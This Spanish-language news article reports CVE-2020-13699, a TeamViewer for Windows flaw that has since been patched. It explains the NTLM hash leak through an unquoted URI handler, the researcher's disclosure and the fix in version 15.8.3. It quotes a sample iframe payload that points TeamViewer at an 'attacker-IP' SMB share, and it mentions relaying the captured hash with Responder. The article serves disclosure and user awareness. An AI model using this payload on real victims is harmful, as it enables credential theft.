Una falla en TeamViewer puede permitir a los hackers robar la contraseña del sistema

TeamViewer recientemente corrigió una vulnerabilidad de alto riesgo en su aplicación de escritorio para Windows al lanzar una nueva versión de su software, que si se explota, podría permitir a atacantes remotos robar tu contraseña del sistema y potencialmente explotarla.

Lo que es aún más preocupante es que este ataque no requiere la interacción de la víctima y puede realizarse casi automáticamente.

Para aquellos que no lo saben, TeamViewer es una popular aplicación de software desarrollada por la empresa alemana TeamViewer GmbH, para control remoto, compartir escritorio, reuniones en línea, conferencias web y transferencia de archivos entre computadoras.

Está disponible para Microsoft Windows, Linux, macOS, Chrome OS, Android, iOS, Windows RT, Windows Phone 8 y sistemas operativos BlackBerry. También es posible acceder a un sistema que ejecuta TeamViewer con un navegador web.

La grave vulnerabilidad denominada CVE-2020-13699 fue descubierta por Jeffrey Hofmann, un investigador de seguridad de Praetorian. Según el investigador, la vulnerabilidad reside en TeamViewer para Windows en la forma en que la aplicación cita su URI personalizada (manejador de URI no citado).

El experto descubrió que el problema podría permitir a un atacante forzar al software a retransmitir una solicitud de autenticación NTLM al sistema del atacante. En otras palabras, un atacante puede forzar el esquema URI de TeamViewer desde una página web para engañar a la aplicación instalada en el sistema de la víctima para que inicie una conexión con el recurso compartido SMB remoto del atacante.

Esto activa el proceso de autenticación SMB, que a su vez, filtrará el nombre de usuario del sistema y la versión hash NTLMv2 de la contraseña a los atacantes.

Para explotar con éxito CVE 2020-13699, el atacante necesita incrustar un iframe malicioso en un sitio web y luego engañar a las víctimas para que visiten esa URL maliciosamente elaborada. Una vez que las víctimas hagan clic en el enlace, TeamViewer lanzará automáticamente su cliente de escritorio de Windows y abrirá un recurso compartido SMB remoto.

“Un atacante podría incrustar un iframe malicioso en un sitio web con una URL elaborada (iframe src=’teamviewer10: –play \attacker-IPileake.tvs’) que lanzaría el cliente de escritorio de TeamViewer y lo forzaría a abrir un recurso compartido SMB remoto,” explicó Jeffrey Hofmann en un aviso.

“Windows realizará la autenticación NTLM al abrir el recurso compartido SMB y esa solicitud puede ser retransmitida (usando una herramienta como responder) para la ejecución de código (o capturada para el descifrado de hash).”

Esta vulnerabilidad afecta a “manejadores de URI teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1 y tvvpn1,” dijo Hofmann.

Tras la divulgación de la vulnerabilidad, el proyecto TeamViewer ha corregido la falla citando los parámetros pasados por los manejadores de URI afectados, por ejemplo, URL:teamviewer10 Protocolo “C:\Program Files (x86)\TeamViewer\TeamViewer.exe” “%1”.

Para corregir la falla, “Implementamos algunas mejoras en el manejo de URI relacionadas con CVE 2020-13699,” dijo TeamViewer en un comunicado. “Gracias, Jeffrey Hofmann de Praetorian, por tu profesionalismo y por seguir un modelo de divulgación responsable. Estamos agradecidos de que te pusieras en contacto con nosotros y de que pudieras confirmar la solución de tus hallazgos en la última versión.”

Para abordar el problema, TeamViewer ha lanzado la versión 15.8.3 y recomienda a sus usuarios que actualicen inmediatamente a esta versión.

También lee - Mejores alternativas a TeamViewer